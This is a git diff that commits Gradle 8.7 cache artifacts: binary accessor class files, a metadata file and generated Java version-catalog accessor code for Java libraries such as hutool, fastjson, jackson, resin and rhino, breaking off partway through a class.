b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiMainLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiMainLibraryAccessors.class new file mode 100644 index 0000000..3b16453 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiMainLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiMainVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiMainVersionAccessors.class new file mode 100644 index 0000000..4fc3ed2 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiMainVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiVersionAccessors.class new file mode 100644 index 0000000..128545b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsCiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsLibraryAccessors.class new file mode 100644 index 0000000..ef202a6 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsVersionAccessors.class new file mode 100644 index 0000000..a5e6081 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgJenkinsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgLibraryAccessors.class new file mode 100644 index 0000000..eda62a5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2AsmLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2AsmLibraryAccessors.class new file mode 100644 index 0000000..e147a85 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2AsmLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2AsmVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2AsmVersionAccessors.class new file mode 100644 index 0000000..d1a7565 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2AsmVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2LibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2LibraryAccessors.class new file mode 100644 index 0000000..ac987d8 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2LibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2VersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2VersionAccessors.class new file mode 100644 index 0000000..66e2e8f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgOw2VersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonJythonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonJythonLibraryAccessors.class new file mode 100644 index 0000000..8d4d006 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonJythonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonJythonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonJythonVersionAccessors.class new file mode 100644 index 0000000..949af94 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonJythonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonLibraryAccessors.class new file mode 100644 index 0000000..77ea442 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonVersionAccessors.class new file mode 100644 index 0000000..fc50d4e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgPythonVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgReflectionsLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgReflectionsLibraryAccessors.class new file mode 100644 index 0000000..c4c7f1a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgReflectionsLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgReflectionsVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgReflectionsVersionAccessors.class new file mode 100644 index 0000000..de2e3bb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgReflectionsVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkLibraryAccessors.class new file mode 100644 index 0000000..f9222d3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringContextLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringContextLibraryAccessors.class new file mode 100644 index 0000000..ed43d8e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringContextLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringContextVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringContextVersionAccessors.class new file mode 100644 index 0000000..fa355a9 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringContextVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringLibraryAccessors.class new file mode 100644 index 0000000..38c28c0 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringVersionAccessors.class new file mode 100644 index 0000000..b440a30 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkSpringVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkVersionAccessors.class new file mode 100644 index 0000000..5c88697 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgSpringframeworkVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgVersionAccessors.class new file mode 100644 index 0000000..22993f3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$PluginAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$PluginAccessors.class new file mode 100644 index 0000000..0bab18e Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$PluginAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RhinoLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RhinoLibraryAccessors.class new file mode 100644 index 0000000..4ebb2ed Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RhinoLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RhinoVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RhinoVersionAccessors.class new file mode 100644 index 0000000..56fe231 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RhinoVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RomeLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RomeLibraryAccessors.class new file mode 100644 index 0000000..9ded956 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RomeLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RomeVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RomeVersionAccessors.class new file mode 100644 index 0000000..3ac9aa3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$RomeVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$VersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$VersionAccessors.class new file mode 100644 index 0000000..9614b40 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$VersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$XercesLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$XercesLibraryAccessors.class new file mode 100644 index 0000000..5333f12 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$XercesLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$XercesVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$XercesVersionAccessors.class new file mode 100644 index 0000000..69e818a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$XercesVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock.class new file mode 100644 index 0000000..6bd0805 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin new file mode 100644 index 0000000..da29dc1 --- /dev/null +++ b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin @@ -0,0 +1 @@ +ab3zenlem5csdf7df22cpcxz2u-Ge r)aJcn + */ + public CnLibraryAccessors getCn() { + return laccForCnLibraryAccessors; + } + + /** + * Group of libraries at com + */ + public ComLibraryAccessors getCom() { + return laccForComLibraryAccessors; + } + + /** + * Group of libraries at commons + */ + public CommonsLibraryAccessors getCommons() { + return laccForCommonsLibraryAccessors; + } + + /** + * Group of libraries at io + */ + public IoLibraryAccessors getIo() { + return laccForIoLibraryAccessors; + } + + /** + * Group of libraries at javax + */ + public JavaxLibraryAccessors getJavax() { + return laccForJavaxLibraryAccessors; + } + + /** + * Group of libraries at jboss + */ + public JbossLibraryAccessors getJboss() { + return laccForJbossLibraryAccessors; + } + + /** + * Group of libraries at junit + */ + public JunitLibraryAccessors getJunit() { + return laccForJunitLibraryAccessors; + } + + /** + * Group of libraries at net + */ + public NetLibraryAccessors getNet() { + return laccForNetLibraryAccessors; + } + + /** + * Group of libraries at org + */ + public OrgLibraryAccessors getOrg() { + return laccForOrgLibraryAccessors; + } + + /** + * Group of libraries at rhino + */ + public RhinoLibraryAccessors getRhino() { + return laccForRhinoLibraryAccessors; + } + + /** + * Group of libraries at rome + */ + public RomeLibraryAccessors getRome() { + return laccForRomeLibraryAccessors; + } + + /** + * Group of libraries at xerces + */ + public XercesLibraryAccessors getXerces() { + return laccForXercesLibraryAccessors; + } + + /** + * Group of versions at versions + */ + public VersionAccessors getVersions() { + return vaccForVersionAccessors; + } + + /** + * Group of bundles at bundles + */ + public BundleAccessors getBundles() { + return baccForBundleAccessors; + } + + /** + * Group of plugins at plugins + */ + public PluginAccessors getPlugins() { + return paccForPluginAccessors; + } + + public static class CnLibraryAccessors extends SubDependencyFactory { + private final CnHutoolLibraryAccessors laccForCnHutoolLibraryAccessors = new CnHutoolLibraryAccessors(owner); + + public CnLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at cn.hutool + */ + public CnHutoolLibraryAccessors getHutool() { + return laccForCnHutoolLibraryAccessors; + } + + } + + public static class CnHutoolLibraryAccessors extends SubDependencyFactory { + private final CnHutoolHutoolLibraryAccessors laccForCnHutoolHutoolLibraryAccessors = new CnHutoolHutoolLibraryAccessors(owner); + + public CnHutoolLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at cn.hutool.hutool + */ + public CnHutoolHutoolLibraryAccessors getHutool() { + return laccForCnHutoolHutoolLibraryAccessors; + } + + } + + public static class CnHutoolHutoolLibraryAccessors extends SubDependencyFactory { + + public CnHutoolHutoolLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for all with cn.hutool:hutool-all coordinates and + * with version reference cn.hutool.hutool.all + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getAll() { + return create("cn.hutool.hutool.all"); + } + + } + + public static class ComLibraryAccessors extends SubDependencyFactory { + private final ComAlibabaLibraryAccessors laccForComAlibabaLibraryAccessors = new ComAlibabaLibraryAccessors(owner); + private final ComBeustLibraryAccessors laccForComBeustLibraryAccessors = new ComBeustLibraryAccessors(owner); + private final ComCauchoLibraryAccessors laccForComCauchoLibraryAccessors = new ComCauchoLibraryAccessors(owner); + private final ComFasterxmlLibraryAccessors laccForComFasterxmlLibraryAccessors = new ComFasterxmlLibraryAccessors(owner); + private final ComIbmLibraryAccessors laccForComIbmLibraryAccessors = new ComIbmLibraryAccessors(owner); + private final ComMchangeLibraryAccessors laccForComMchangeLibraryAccessors = new ComMchangeLibraryAccessors(owner); + private final ComNqzeroLibraryAccessors laccForComNqzeroLibraryAccessors = new ComNqzeroLibraryAccessors(owner); + private final ComOracleLibraryAccessors laccForComOracleLibraryAccessors = new ComOracleLibraryAccessors(owner); + private final ComTeradataLibraryAccessors laccForComTeradataLibraryAccessors = new ComTeradataLibraryAccessors(owner); + private final ComUnboundidLibraryAccessors laccForComUnboundidLibraryAccessors = new ComUnboundidLibraryAccessors(owner); + private final ComVaadinLibraryAccessors laccForComVaadinLibraryAccessors = new ComVaadinLibraryAccessors(owner); + + public ComLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.alibaba + */ + public ComAlibabaLibraryAccessors getAlibaba() { + return laccForComAlibabaLibraryAccessors; + } + + /** + * Group of libraries at com.beust + */ + public ComBeustLibraryAccessors getBeust() { + return laccForComBeustLibraryAccessors; + } + + /** + * Group of libraries at com.caucho + */ + public ComCauchoLibraryAccessors getCaucho() { + return laccForComCauchoLibraryAccessors; + } + + /** + * Group of libraries at com.fasterxml + */ + public ComFasterxmlLibraryAccessors getFasterxml() { + return laccForComFasterxmlLibraryAccessors; + } + + /** + * Group of libraries at com.ibm + */ + public ComIbmLibraryAccessors getIbm() { + return laccForComIbmLibraryAccessors; + } + + /** + * Group of libraries at com.mchange + */ + public ComMchangeLibraryAccessors getMchange() { + return laccForComMchangeLibraryAccessors; + } + + /** + * Group of libraries at com.nqzero + */ + public ComNqzeroLibraryAccessors getNqzero() { + return laccForComNqzeroLibraryAccessors; + } + + /** + * Group of libraries at com.oracle + */ + public ComOracleLibraryAccessors getOracle() { + return laccForComOracleLibraryAccessors; + } + + /** + * Group of libraries at com.teradata + */ + public ComTeradataLibraryAccessors getTeradata() { + return laccForComTeradataLibraryAccessors; + } + + /** + * Group of libraries at com.unboundid + */ + public ComUnboundidLibraryAccessors getUnboundid() { + return laccForComUnboundidLibraryAccessors; + } + + /** + * Group of libraries at com.vaadin + */ + public ComVaadinLibraryAccessors getVaadin() { + return laccForComVaadinLibraryAccessors; + } + + } + + public static class ComAlibabaLibraryAccessors extends SubDependencyFactory { + private final ComAlibabaFastjson2LibraryAccessors laccForComAlibabaFastjson2LibraryAccessors = new ComAlibabaFastjson2LibraryAccessors(owner); + + public ComAlibabaLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for fastjson with com.alibaba:fastjson coordinates and + * with version reference com.alibaba.fastjson + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getFastjson() { + return create("com.alibaba.fastjson"); + } + + /** + * Group of libraries at com.alibaba.fastjson2 + */ + public ComAlibabaFastjson2LibraryAccessors getFastjson2() { + return laccForComAlibabaFastjson2LibraryAccessors; + } + + } + + public static class ComAlibabaFastjson2LibraryAccessors extends SubDependencyFactory { + + public ComAlibabaFastjson2LibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for fastjson2 with com.alibaba.fastjson2:fastjson2 coordinates and + * with version reference com.alibaba.fastjson2.fastjson2 + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getFastjson2() { + return create("com.alibaba.fastjson2.fastjson2"); + } + + } + + public static class ComBeustLibraryAccessors extends SubDependencyFactory { + + public ComBeustLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for jcommander with com.beust:jcommander coordinates and + * with version reference com.beust.jcommander + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getJcommander() { + return create("com.beust.jcommander"); + } + + } + + public static class ComCauchoLibraryAccessors extends SubDependencyFactory { + + public ComCauchoLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for resin with com.caucho:resin coordinates and + * with version reference com.caucho.resin + *

+ * This dependency was declared in catalog libs.versions.toml + */ + public Provider getResin() { + return create("com.caucho.resin"); + } + + } + + public static class ComFasterxmlLibraryAccessors extends SubDependencyFactory { + private final ComFasterxmlJacksonLibraryAccessors laccForComFasterxmlJacksonLibraryAccessors = new ComFasterxmlJacksonLibraryAccessors(owner); + + public ComFasterxmlLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.fasterxml.jackson + */ + public ComFasterxmlJacksonLibraryAccessors getJackson() { + return laccForComFasterxmlJacksonLibraryAccessors; + } + + } + + public static class ComFasterxmlJacksonLibraryAccessors extends SubDependencyFactory { + private final ComFasterxmlJacksonCoreLibraryAccessors laccForComFasterxmlJacksonCoreLibraryAccessors = new ComFasterxmlJacksonCoreLibraryAccessors(owner); + + public ComFasterxmlJacksonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.fasterxml.jackson.core + */ + public ComFasterxmlJacksonCoreLibraryAccessors getCore() { + return laccForComFasterxmlJacksonCoreLibraryAccessors; + } + + } + + public static class ComFasterxmlJacksonCoreLibraryAccessors extends SubDependencyFactory { + private final ComFasterxmlJacksonCoreJacksonLibraryAccessors laccForComFasterxmlJacksonCoreJacksonLibraryAccessors = new ComFasterxmlJacksonCoreJacksonLibraryAccessors(owner); + + public ComFasterxmlJacksonCoreLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at com.fasterxml.jackson.core.jackson + */ + public ComFasterxmlJacksonCoreJacksonLibraryAccessors getJackson() { + return laccForComFasterxmlJacksonCoreJacksonLibraryAccessors; + } + + } + + public static class ComFasterxmlJacksonCoreJacksonLibraryAccessors extends SubDependencyFactory { + + public ComFasterxmlJacksonCoreJacksonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + 